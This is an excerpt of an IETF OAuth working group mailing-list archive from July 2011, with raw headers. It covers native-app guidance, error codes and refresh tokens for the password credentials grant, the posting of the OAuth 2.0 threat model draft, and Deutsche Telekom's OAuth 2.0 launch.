From mark.mcgloin@ie.ibm.com Fri Jul 1 01:10:34 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B833621F8795; Fri, 1 Jul 2011 01:10:34 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.579 X-Spam-Level: X-Spam-Status: No, score=-6.579 tagged_above=-999 required=5 tests=[AWL=-0.021, BAYES_00=-2.599, MIME_BASE64_BLANKS=0.041, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id aQWYVswh6D00; Fri, 1 Jul 2011 01:10:34 -0700 (PDT) Received: from mtagate1.uk.ibm.com (mtagate1.uk.ibm.com [194.196.100.161]) by ietfa.amsl.com (Postfix) with ESMTP id B05E821F884E; Fri, 1 Jul 2011 01:10:32 -0700 (PDT) Received: from d06nrmr1507.portsmouth.uk.ibm.com (d06nrmr1507.portsmouth.uk.ibm.com [9.149.38.233]) by mtagate1.uk.ibm.com (8.13.1/8.13.1) with ESMTP id p618AUoA017172; Fri, 1 Jul 2011 08:10:30 GMT Received: from d06av11.portsmouth.uk.ibm.com (d06av11.portsmouth.uk.ibm.com [9.149.37.252]) by d06nrmr1507.portsmouth.uk.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id p618AUiF2662480; Fri, 1 Jul 2011 09:10:30 +0100 Received: from d06av11.portsmouth.uk.ibm.com (loopback [127.0.0.1]) by d06av11.portsmouth.uk.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id p618AUms012762; Fri, 1 Jul 2011 02:10:30 -0600 Received: from d06ml093.portsmouth.uk.ibm.com (d06ml093.portsmouth.uk.ibm.com [9.149.104.171]) by d06av11.portsmouth.uk.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id p618ATlt012756; Fri, 1 Jul 2011 02:10:29 -0600 In-Reply-To: References: X-KeepSent: 1842DF5A:C0E86296-802578C0:002CB04D; type=4; name=$KeepSent To: Anthony Nadalin X-Mailer: Lotus Notes Release 8.5.1FP5 SHF29 November 12, 2010 Message-ID: From: Mark Mcgloin Date: Fri, 1 Jul 2011 09:09:52 +0100 X-MIMETrack: Serialize by Router on D06ML093/06/M/IBM(Release 8.0.2FP6|July 15, 2010) at 01/07/2011 09:09:52 MIME-Version: 1.0 Content-type: text/plain; charset=UTF-8 Content-transfer-encoding: base64 Cc: "OAuth WG \(oauth@ietf.org\)" , oauth-bounces@ietf.org Subject: Re: [OAUTH-WG] Native Application Text X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 Jul 2011 08:10:34 -0000 VGhpcyBhc3N1bWVzIHdlIHN1cHBvcnQgdGhlIGF1dGhvcml6YXRpb24gY29kZSAgZ3JhbnQgdHlw ZSB3aXRob3V0IGNsaWVudA0KYXV0aGVudGljYXRpb24uIFNlZQ0KaHR0cDovL3d3dy5pZXRmLm9y Zy9tYWlsLWFyY2hpdmUvd2ViL29hdXRoL2N1cnJlbnQvbXNnMDY4MTYuaHRtbCBhbmQgbWFueQ0K b3RoZXIgY29udHJpYnV0aW9ucyBvbiB0aGUgc2FtZSB0b3BpYw0KDQpSZWdhcmRzDQpNYXJrDQoN Cm9hdXRoLWJvdW5jZXNAaWV0Zi5vcmcgd3JvdGUgb24gMjkvMDYvMjAxMSAwMjoxNToxMDoNCg0K PiBGcm9tOg0KPg0KPiBBbnRob255IE5hZGFsaW4gPHRvbnluYWRAbWljcm9zb2Z0LmNvbT4NCj4N Cj4gVG86DQo+DQo+ICJPQXV0aCBXRyAob2F1dGhAaWV0Zi5vcmcpIiA8b2F1dGhAaWV0Zi5vcmc+ DQo+DQo+IERhdGU6DQo+DQo+IDI5LzA2LzIwMTEgMDI6MTUNCj4NCj4gU3ViamVjdDoNCj4NCj4g W09BVVRILVdHXSBOYXRpdmUgQXBwbGljYXRpb24gVGV4dA0KPg0KPiBTZW50IGJ5Og0KPg0KPiBv YXV0aC1ib3VuY2VzQGlldGYub3JnDQo+DQo+IDkuIE5hdGl2ZSBBcHBsaWNhdGlvbnMNCj4NCj4g QSBuYXRpdmUgYXBwbGljYXRpb24gaXMgYSBjbGllbnQgd2hpY2ggaXMgaW5zdGFsbGVkIGFuZCBl eGVjdXRlcyBvbg0KPiB0aGUgZW5kLXVzZXIncyBkZXZpY2UgKGkuZS4gZGVza3RvcCBhcHBsaWNh dGlvbiwgbmF0aXZlIG1vYmlsZQ0KPiBhcHBsaWNhdGlvbiwgZXRjLikuICBOYXRpdmUgYXBwbGlj YXRpb25zIG1heSByZXF1aXJlIHNwZWNpYWwNCj4gY29uc2lkZXJhdGlvbiByZWxhdGVkIHRvIHNl Y3VyaXR5LCBwbGF0Zm9ybSBjYXBhYmlsaXRpZXMsIGFuZA0KPiBvdmVyYWxsIGVuZC11c2VyIGV4 cGVyaWVuY2UuICBUaGUgZm9sbG93aW5nIGFyZSBleGFtcGxlcyBvZiBob3cNCj4gbmF0aXZlIGFw cGxpY2F0aW9ucyBtYXkgdXRpbGl6ZSBPQXV0aDoNCj4NCj4gICAgbyAgSW5pdGlhdGUgYW4gQXV0 aG9yaXphdGlvbiBSZXF1ZXN0IHVzaW5nIGFuIGV4dGVybmFsIHVzZXItDQo+IGFnZW50OiBUaGUg bmF0aXZlIGFwcGxpY2F0aW9uIGNhbiBjYXB0dXJlIHRoZSByZXNwb25zZSBmcm9tIHRoZQ0KPiBh dXRob3JpemF0aW9uIHNlcnZlciB1c2luZyBhIHZhcmlldHkgb2YgdGVjaG5pcXVlcyBzdWNoIGFz IHRoZSB1c2UNCj4gb2YgdGhlIHZhcmlvdXMgbWV0aG9kcyBmb3IgcmVkaXJlY3Rpb24gaW5jbHVk aW5nIGEgVVJJIGlkZW50aWZ5aW5nIGENCj4gY3VzdG9tIFVSSSBzY2hlbWUgKHJlZ2lzdGVyZWQg d2l0aCB0aGUgb3BlcmF0aW5nIHN5c3RlbSB0byBpbnZva2UNCj4gdGhlIG5hdGl2ZSBhcHBsaWNh dGlvbiBhcyBoYW5kbGVyKSwgbWFudWFsIGNvcHktYW5kLXBhc3RlLCBydW5uaW5nIGENCj4gbG9j YWwgd2Vic2VydmVyLCBicm93c2VyIHBsdWctaW5zLCBvciBieSBwcm92aWRpbmcgYSByZWRpcmVj dGlvbiBVUkkNCj4gaWRlbnRpZnlpbmcgYSBzZXJ2ZXItaG9zdGVkIHJlc291cmNlIHVuZGVyIHRo ZSBuYXRpdmUgYXBwbGljYXRpb24ncw0KPiBjb250cm9sLCB3aGljaCBpbiB0dXJuIG1ha2VzIHRo ZSByZXNwb25zZSBhdmFpbGFibGUgdG8gdGhlIG5hdGl2ZQ0KYXBwbGljYXRpb24uDQo+ICAgIG8g IEluaXRpYXRlIGFuIEF1dGhvcml6YXRpb24gUmVxdWVzdCB1c2luZyBhbiBlbWJlZGRlZCB1c2Vy LQ0KPiBhZ2VudDogIFRoZSBuYXRpdmUgYXBwbGljYXRpb24gb2J0YWlucyB0aGUgcmVzcG9uc2Ug YnkgZGlyZWN0bHkNCj4gY29tbXVuaWNhdGluZyB3aXRoIHRoZSBlbWJlZGRlZCB1c2VyLWFnZW50 LiAgVGVjaG5pcXVlcyBpbmNsdWRlDQo+IG1vbml0b3Jpbmcgc3RhdGUgY2hhbmdlcyBlbWl0dGVk IGR1cmluZyBVUkwgbG9hZGluZywgbW9uaXRvcmluZyBodHRwDQo+IGhlYWRlcnMsIGFjY2Vzc2lu ZyB0aGUgdXNlci1hZ2VudCdzIGNvb2tpZSBqYXIsIGV0Yy4NCj4NCj4gV2hlbiBjaG9vc2luZyBi ZXR3ZWVuIGxhdW5jaGluZyBhbiBleHRlcm5hbCB1c2VyLWFnZW50IGFuZCBhbg0KPiBlbWJlZGRl ZCB1c2VyLWFnZW50LCBuYXRpdmUgYXBwbGljYXRpb24gZGV2ZWxvcGVycyBzaG91bGQgY29uc2lk ZXINCj4gdGhlIGZvbGxvd2luZzoNCj4NCj4gICAgbyAgRXh0ZXJuYWwgdXNlci1hZ2VudHMgbWF5 IGltcHJvdmUgY29tcGxldGlvbiByYXRlIGFzIHRoZSBlbmQtDQo+IHVzZXIgbWF5IGFscmVhZHkg aGF2ZSBhbiBhY3RpdmUgc2Vzc2lvbiB3aXRoIHRoZSBhdXRob3JpemF0aW9uDQo+IHNlcnZlciBy ZW1vdmluZyB0aGUgbmVlZCB0byByZS1hdXRoZW50aWNhdGUsIGFuZCBwcm92aWRlIGEgZmFtaWxp YXINCj4gdXNlci1hZ2VudCB1c2VyIGV4cGVyaWVuY2UgYW5kIGZ1bmN0aW9uYWxpdHkuICBUaGUg ZW5kLXVzZXIgbWF5IGFsc28NCj4gcmVseSBvbiBleHRlbnNpb25zIG9yIGFkZC1vbnMgdG8gYXNz aXN0IHdpdGggYXV0aGVudGljYXRpb24gKGUuZy4NCj4gcGFzc3dvcmQgbWFuYWdlcnMgb3IgMi1m YWN0b3IgZGV2aWNlIHJlYWRlcikuDQo+ICAgIG8gIEVtYmVkZGVkIHVzZXItYWdlbnRzIG1heSBv ZmZlciBhbiBpbXByb3ZlZCBlbmQtdXNlciBmbG93LCBhcw0KPiB0aGV5IHJlbW92ZSB0aGUgbmVl ZCB0byBzd2l0Y2ggY29udGV4dCBhbmQgb3BlbiBuZXcgd2luZG93cy4NCj4gICAgbyAgRW1iZWRk ZWQgdXNlci1hZ2VudHMgcG9zZSBhIHNlY3VyaXR5IGNoYWxsZW5nZSBiZWNhdXNlIGVuZC0NCj4g dXNlcnMgYXJlIGF1dGhlbnRpY2F0aW5nIGluIGFuIHVuaWRlbnRpZmllZCB3aW5kb3cgd2l0aG91 dCBhY2Nlc3MgdG8NCj4gdGhlIHZpc3VhbCBwcm90ZWN0aW9ucyBmb3VuZCBvbiBieSBtYW55IG9m IHRoZSBleHRlcm5hbCB1c2VyLWFnZW50cy4NCj4gRW1iZWRkZWQgdXNlci1hZ2VudHMgZWR1Y2F0 ZSBlbmQtdXNlciB0byB0cnVzdCB1bmlkZW50aWZpZWQgcmVxdWVzdHMNCj4gZm9yIGF1dGhlbnRp Y2F0aW9uIChtYWtpbmcgcGhpc2hpbmcgYXR0YWNrcyBlYXNpZXIgdG8gZXhlY3V0ZSkuDQo+DQo+ IFdoZW4gY2hvb3NpbmcgYmV0d2VlbiBpbXBsaWNpdCBhbmQgYXV0aG9yaXphdGlvbiBjb2RlIGdy YW50IHR5cGVzLA0KPiB0aGUgZm9sbG93aW5nIHNob3VsZCBiZSBjb25zaWRlcmVkOg0KPg0KPiAg ICBvICBOYXRpdmUgYXBwbGljYXRpb25zIHRoYXQgdXNlIHRoZSBhdXRob3JpemF0aW9uIGNvZGUg Z3JhbnQgdHlwZQ0KPiBmbG93IFNIT1VMRCBkbyBzbyB3aXRob3V0IHVzaW5nIGNsaWVudCBwYXNz d29yZCBjcmVkZW50aWFscywgZHVlIHRvDQo+IHRoZSBuYXRpdmUgYXBwbGljYXRpb27igJlzIGlu YWJpbGl0eSB0byBrZWVwIHRob3NlIGNyZWRlbnRpYWxzIHNlY3VyZS4NCj4gICAgbyAgV2hlbiB1 c2luZyB0aGUgaW1wbGljaXQgZ3JhbnQgdHlwZSBmbG93IGEgcmVmcmVzaCB0b2tlbiBpcw0Kbm90 cmV0dXJuZWQNCj4gIF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fDQo+IE9BdXRoIG1haWxpbmcgbGlzdA0KPiBPQXV0aEBpZXRmLm9yZw0KPiBodHRwczovL3d3 dy5pZXRmLm9yZy9tYWlsbWFuL2xpc3RpbmZvL29hdXRo From torsten@lodderstedt.net Fri Jul 1 12:48:53 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 33DEC9E802A for ; Fri, 1 Jul 2011 12:48:53 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.648 X-Spam-Level: X-Spam-Status: No, score=-1.648 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HELO_EQ_DE=0.35, HTML_MESSAGE=0.001, J_CHICKENPOX_43=0.6] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id AXUi+pphflXO for ; Fri, 1 Jul 2011 12:48:50 -0700 (PDT) Received: from smtprelay06.ispgateway.de (smtprelay06.ispgateway.de [80.67.31.101]) by ietfa.amsl.com (Postfix) with ESMTP id 3637D9E8028 for ; Fri, 1 Jul 2011 12:48:49 -0700 (PDT) Received: from [79.253.51.135] (helo=[192.168.71.35]) by smtprelay06.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1Qcjho-0003qE-7G; Fri, 01 Jul 2011 21:48:48 +0200 Message-ID: <4E0E24A0.9020108@lodderstedt.net> Date: Fri, 01 Jul 2011 21:48:48 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: Eran Hammer-Lahav References: <4E09F785.7050007@aol.com> <63366D5A116E514AA4A9872D3C53353956F9305491@QEO40072.de.t-online.corp> <90C41DD21FB7C64BB94121FBBC2E7234475EAB173A@P3PW5EX1MB01.EX1.SECURESERVER.NET> <63366D5A116E514AA4A9872D3C53353956F9305578@QEO40072.de.t-online.corp> <90C41DD21FB7C64BB94121FBBC2E7234475EAB17DF@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234475EAB17DF@P3PW5EX1MB01.EX1.SECURESERVER.NET> Content-Type: multipart/alternative; boundary="------------090901000002090605050305" X-Df-Sender: torsten@lodderstedt-online.de Cc: "oauth@ietf.org" Subject: Re: [OAUTH-WG] Resource Owner Password Credentials question/feedback X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 Jul 2011 19:48:53 -0000 This is a multi-part message in MIME format. --------------090901000002090605050305 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Am 30.06.2011 18:39, schrieb Eran Hammer-Lahav: > > This debate has been going on for 3 years. In OAuth 1.0 it was called > token attributes. Someone just need to write a proposal. Last time I > tried, no one wanted to implement any such mechanism. > we already did regards, Torsten. > > EHL > > *From:*Lodderstedt, Torsten [mailto:t.lodderstedt@telekom.de] > *Sent:* Thursday, June 30, 2011 6:38 AM > *To:* Eran Hammer-Lahav; George Fletcher; oauth@ietf.org > *Subject:* AW: [OAUTH-WG] Resource Owner Password Credentials > question/feedback > > >Issuing a refresh token is more a function of the access grant > duration than anything else. > > Agreed. How shall the user influence this duration? There is no direct > interaction between authz server and end-user. > > >The client can always throw away tokens when it is done of if the user > doesn't want to "stay connected", but issuing long term credentials is > not >really something the client asks but the server decides (based on > user approval and policy). > > This is a waste of resources. Moreover, how do you explain the > end-user if a long-term authorization shows up in his service > providers account management screen for a certain client he never > explicitly authorized for long-term access? > > regards, > > Torsten. > > *Von:*Eran Hammer-Lahav [mailto:eran@hueniverse.com] > > *Gesendet:* Donnerstag, 30. Juni 2011 10:48 > *An:* Lodderstedt, Torsten; George Fletcher; oauth@ietf.org > > *Betreff:* RE: [OAUTH-WG] Resource Owner Password Credentials > question/feedback > > Issuing a refresh token is more a function of the access grant > duration than anything else. The client can always throw away tokens > when it is done of if the user doesn't want to "stay connected", but > issuing long term credentials is not really something the client asks > but the server decides (based on user approval and policy). > > EHL > > *From:*oauth-bounces@ietf.org > [mailto:oauth-bounces@ietf.org] > *On Behalf Of *Lodderstedt, > Torsten > *Sent:* Thursday, June 30, 2011 1:10 AM > *To:* George Fletcher; oauth@ietf.org > *Subject:* Re: [OAUTH-WG] Resource Owner Password Credentials > question/feedback > > No exactly the topic but also related to this grant type > > There is currently no parameter the client could use to explicitly > request a refresh token. So server-policies based on user, client and > scope are the only mean to decide whether a refresh token is issued or > not. I consider this to limited as there might be the desire this > control this per authorization process, i.e. I client could ask the > user whether he/she wants to "stay connected" or "stay logged in". A > parameter to pass this information to the authz server would be useful. > > regards, > > Torsten. > > *Von:*George Fletcher [mailto:gffletch@aol.com] > > *Gesendet:* Dienstag, 28. Juni 2011 17:47 > *An:* oauth@ietf.org > *Betreff:* [OAUTH-WG] Resource Owner Password Credentials > question/feedback > > I'm working on spec'ing out a use of the Resource Owner Password > Credentials flow and in trying to map out possible error cases, > realized that there is no good error for the case that the resource > owner's password credentials are invalid. Section 4.3 of draft 16 > references section 5.2 for errors. The list of available errors in > section 5.2 are... > > error > REQUIRED. A single error code from the following: > invalid_request > The request is missing a required parameter, includes an > unsupported parameter or parameter value, repeats a > parameter, includes multiple credentials, utilizes more > than one mechanism for authenticating the client, or is > otherwise malformed. > invalid_client > Client authentication failed (e.g. unknown client, no > client credentials included, multiple client credentials > included, or unsupported credentials type). The > authorization server MAY return an HTTP 401 > (Unauthorized) status code to indicate which HTTP > authentication schemes are supported. If the client > attempted to authenticate via the "Authorization" request > header field, the authorization server MUST respond with > an HTTP 401 (Unauthorized) status code, and include the > "WWW-Authenticate" response header field matching the > authentication scheme used by the client. > invalid_grant > The provided authorization grant is invalid, expired, > revoked, does not match the redirection URI used in the > authorization request, or was issued to another client. > unauthorized_client > The authenticated client is not authorized to use this > authorization grant type. > unsupported_grant_type > The authorization grant type is not supported by the > authorization server. > invalid_scope > The requested scope is invalid, unknown, malformed, or > exceeds the scope granted by the resource owner. > > > I'm wondering if others have chosen one of these values to represent > the "invalid_credentials" use case. > > Thanks, > George > > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth --------------090901000002090605050305 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit

Am 30.06.2011 18:39, schrieb Eran Hammer-Lahav:

This debate has been going on for 3 years. In OAuth 1.0 it was called token attributes. Someone just need to write a proposal. Last time I tried, no one wanted to implement any such mechanism.


we already did

regards,
Torsten.

 

EHL

 

From: Lodderstedt, Torsten [mailto:t.lodderstedt@telekom.de]
Sent: Thursday, June 30, 2011 6:38 AM
To: Eran Hammer-Lahav; George Fletcher; oauth@ietf.org
Subject: AW: [OAUTH-WG] Resource Owner Password Credentials question/feedback

 

>Issuing a refresh token is more a function of the access grant duration than anything else.

 

Agreed. How shall the user influence this duration? There is no direct interaction between authz server and end-user.

 

>The client can always throw away tokens when it is done of if the user doesn’t want to “stay connected”, but issuing long term credentials is not >really something the client asks but the server decides (based on user approval and policy).

 

This is a waste of resources. Moreover, how do you explain the end-user if a long-term authorization shows up in his service providers account management screen for a certain client he never explicitly authorized for long-term access?

 

regards,

Torsten.

 

Von: Eran Hammer-Lahav [mailto:eran@hueniverse.com]
Gesendet: Donnerstag, 30. Juni 2011 10:48
An: Lodderstedt, Torsten; George Fletcher; oauth@ietf.org
Betreff: RE: [OAUTH-WG] Resource Owner Password Credentials question/feedback

 

Issuing a refresh token is more a function of the access grant duration than anything else. The client can always throw away tokens when it is done of if the user doesn’t want to “stay connected”, but issuing long term credentials is not really something the client asks but the server decides (based on user approval and policy).

 

EHL

 

From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of Lodderstedt, Torsten
Sent: Thursday, June 30, 2011 1:10 AM
To: George Fletcher; oauth@ietf.org
Subject: Re: [OAUTH-WG] Resource Owner Password Credentials question/feedback

 

No exactly the topic but also related to this grant type

 

There is currently no parameter the client could use to explicitly request a refresh token. So server-policies based on user, client and scope are the only mean to decide whether a refresh token is issued or not. I consider this  to limited as there might be the desire this control this per authorization process, i.e. I client could ask the user whether he/she wants to “stay connected” or “stay logged in”. A parameter to pass this information to the authz server would be useful.

 

regards,

Torsten.

 

 

Von: George Fletcher [mailto:gffletch@aol.com]
Gesendet: Dienstag, 28. Juni 2011 17:47
An: oauth@ietf.org
Betreff: [OAUTH-WG] Resource Owner Password Credentials question/feedback

 

I'm working on spec'ing out a use of the Resource Owner Password Credentials flow and in trying to map out possible error cases, realized that there is no good error for the case that the resource owner's password credentials are invalid. Section 4.3 of draft 16 references section 5.2 for errors. The list of available errors in section 5.2 are...

   error
         REQUIRED.  A single error code from the following:
         invalid_request
               The request is missing a required parameter, includes an
               unsupported parameter or parameter value, repeats a
               parameter, includes multiple credentials, utilizes more
               than one mechanism for authenticating the client, or is
               otherwise malformed.
         invalid_client
               Client authentication failed (e.g. unknown client, no
               client credentials included, multiple client credentials
               included, or unsupported credentials type).  The
               authorization server MAY return an HTTP 401
               (Unauthorized) status code to indicate which HTTP
               authentication schemes are supported.  If the client
               attempted to authenticate via the "Authorization" request
               header field, the authorization server MUST respond with
               an HTTP 401 (Unauthorized) status code, and include the
               "WWW-Authenticate" response header field matching the
               authentication scheme used by the client.
         invalid_grant
               The provided authorization grant is invalid, expired,
               revoked, does not match the redirection URI used in the
               authorization request, or was issued to another client.
         unauthorized_client
               The authenticated client is not authorized to use this
               authorization grant type.
         unsupported_grant_type
               The authorization grant type is not supported by the
               authorization server.
         invalid_scope
               The requested scope is invalid, unknown, malformed, or
               exceeds the scope granted by the resource owner.
 

I'm wondering if others have chosen one of these values to represent the "invalid_credentials" use case.

Thanks,
George


_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
--------------090901000002090605050305-- From internet-drafts@ietf.org Fri Jul 1 13:08:11 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id DFAA611E818D; Fri, 1 Jul 2011 13:08:11 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.589 X-Spam-Level: X-Spam-Status: No, score=-102.589 tagged_above=-999 required=5 tests=[AWL=0.010, BAYES_00=-2.599, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id zLOAB+V+eqC7; Fri, 1 Jul 2011 13:08:11 -0700 (PDT) Received: from ietfa.amsl.com (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 8987F11E80D1; Fri, 1 Jul 2011 13:08:11 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable From: internet-drafts@ietf.org To: i-d-announce@ietf.org X-Test-IDTracker: no X-IETF-IDTracker: 3.55 Message-ID: <20110701200811.1344.4000.idtracker@ietfa.amsl.com> Date: Fri, 01 Jul 2011 13:08:11 -0700 Cc: oauth@ietf.org Subject: [OAUTH-WG] I-D Action: draft-ietf-oauth-v2-threatmodel-00.txt X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 Jul 2011 20:08:12 -0000 A New Internet-Draft is available from the on-line Internet-Drafts director= ies. This draft is a work item of the Web Authorization Protocol Working Gr= oup of the IETF. Title : OAuth 2.0 Threat Model and Security Considerations Author(s) : Torsten Lodderstedt Mark McGloin Phil Hunt Filename : draft-ietf-oauth-v2-threatmodel-00.txt Pages : 63 Date : 2011-07-01 This document gives security considerations based on a comprehensive threat model for the OAuth 2.0 Protocol. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-oauth-v2-threatmodel-00.txt Internet-Drafts are also available by anonymous FTP at: ftp://ftp.ietf.org/internet-drafts/ This Internet-Draft can be retrieved at: ftp://ftp.ietf.org/internet-drafts/draft-ietf-oauth-v2-threatmodel-00.txt From torsten@lodderstedt.net Fri Jul 1 13:22:07 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 1299B11E8181 for ; Fri, 1 Jul 2011 13:22:07 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.949 X-Spam-Level: X-Spam-Status: No, score=-1.949 tagged_above=-999 required=5 tests=[AWL=0.300, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id PJV1xUwDX3pk for ; Fri, 1 Jul 2011 13:22:06 -0700 (PDT) Received: from smtprelay04.ispgateway.de (smtprelay04.ispgateway.de [80.67.31.38]) by ietfa.amsl.com (Postfix) with ESMTP id D0ACD11E808A for ; Fri, 1 Jul 2011 13:22:05 -0700 (PDT) Received: from [79.253.51.135] (helo=[192.168.71.35]) by smtprelay04.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1QckE0-0004ud-2B for oauth@ietf.org; Fri, 01 Jul 2011 22:22:04 +0200 Message-ID: <4E0E2C6C.805@lodderstedt.net> Date: Fri, 01 Jul 2011 22:22:04 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: OAuth WG Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Subject: [OAUTH-WG] draft-ietf-oauth-v2-threatmodel-00 posted X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 Jul 2011 20:22:07 -0000 Hi all, I just posted the new revision of the OAuth 2.0 security threat model and considerations document as WG item (http://tools.ietf.org/html/draft-ietf-oauth-v2-threatmodel-00). We incoporated all feedback we got on the list and at IETF-80. Many thanks to all people who have given us feedback. Special thanks to Hui-Lan Lu, Francisco Corella, Eric Pflam, Shane B Weeden, Skylar Woodward, and James H. Manger for their comments and suggestions. New threats descriptions: - User session impersonation - XSRF - Clickjacking - DoS using manufactured authorization codes Modification: - renamed "session fixation" to "authorization code disclosure through counterfeit client" regards, Torsten. From torsten@lodderstedt.net Fri Jul 1 14:19:40 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B819411E8150 for ; Fri, 1 Jul 2011 14:19:40 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.099 X-Spam-Level: X-Spam-Status: No, score=-2.099 tagged_above=-999 required=5 tests=[AWL=0.150, BAYES_00=-2.599, HELO_EQ_DE=0.35] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id WBit+0J2lvNK for ; Fri, 1 Jul 2011 14:19:39 -0700 (PDT) Received: from smtprelay02.ispgateway.de (smtprelay02.ispgateway.de [80.67.31.25]) by ietfa.amsl.com (Postfix) with ESMTP id AD2AC11E810B for ; Fri, 1 Jul 2011 14:19:39 -0700 (PDT) Received: from [79.253.51.135] (helo=[192.168.71.35]) by smtprelay02.ispgateway.de with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.68) (envelope-from ) id 1Qcl7h-0004tm-TG; Fri, 01 Jul 2011 23:19:37 +0200 Message-ID: <4E0E39EA.7040809@lodderstedt.net> Date: Fri, 01 Jul 2011 23:19:38 +0200 From: Torsten Lodderstedt User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.18) Gecko/20110616 Thunderbird/3.1.11 MIME-Version: 1.0 To: OAuth WG Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Df-Sender: torsten@lodderstedt-online.de Subject: [OAUTH-WG] Deutsche Telekom launched OAuth 2.0 support X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 Jul 2011 21:19:40 -0000 Hi all, I would like to announce that we recently launched OAuth 2.0 support in our Security Token Service. It will be used in upcoming consumer products (e.g. Smartphone apps). The current implementation supports draft 10 (but is also inline with the latest text on native apps). It has the following additional features: - Issuance of multiple tokens for different services in single authorization process (Bulk User Authorization) - Token revocation (http://datatracker.ietf.org/doc/draft-lodderstedt-oauth-revocation/) - custom grant types for token exchange and SIM card authentication - Token replacement - Parameter to explicitely request refresh token for "Resource Owner Password Credentials" grant type regards, Torsten. From igor.faynberg@alcatel-lucent.com Fri Jul 1 14:53:15 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 5C18D11E81C3 for ; Fri, 1 Jul 2011 14:53:15 -0700 (PDT) X-Virus-Scanned: 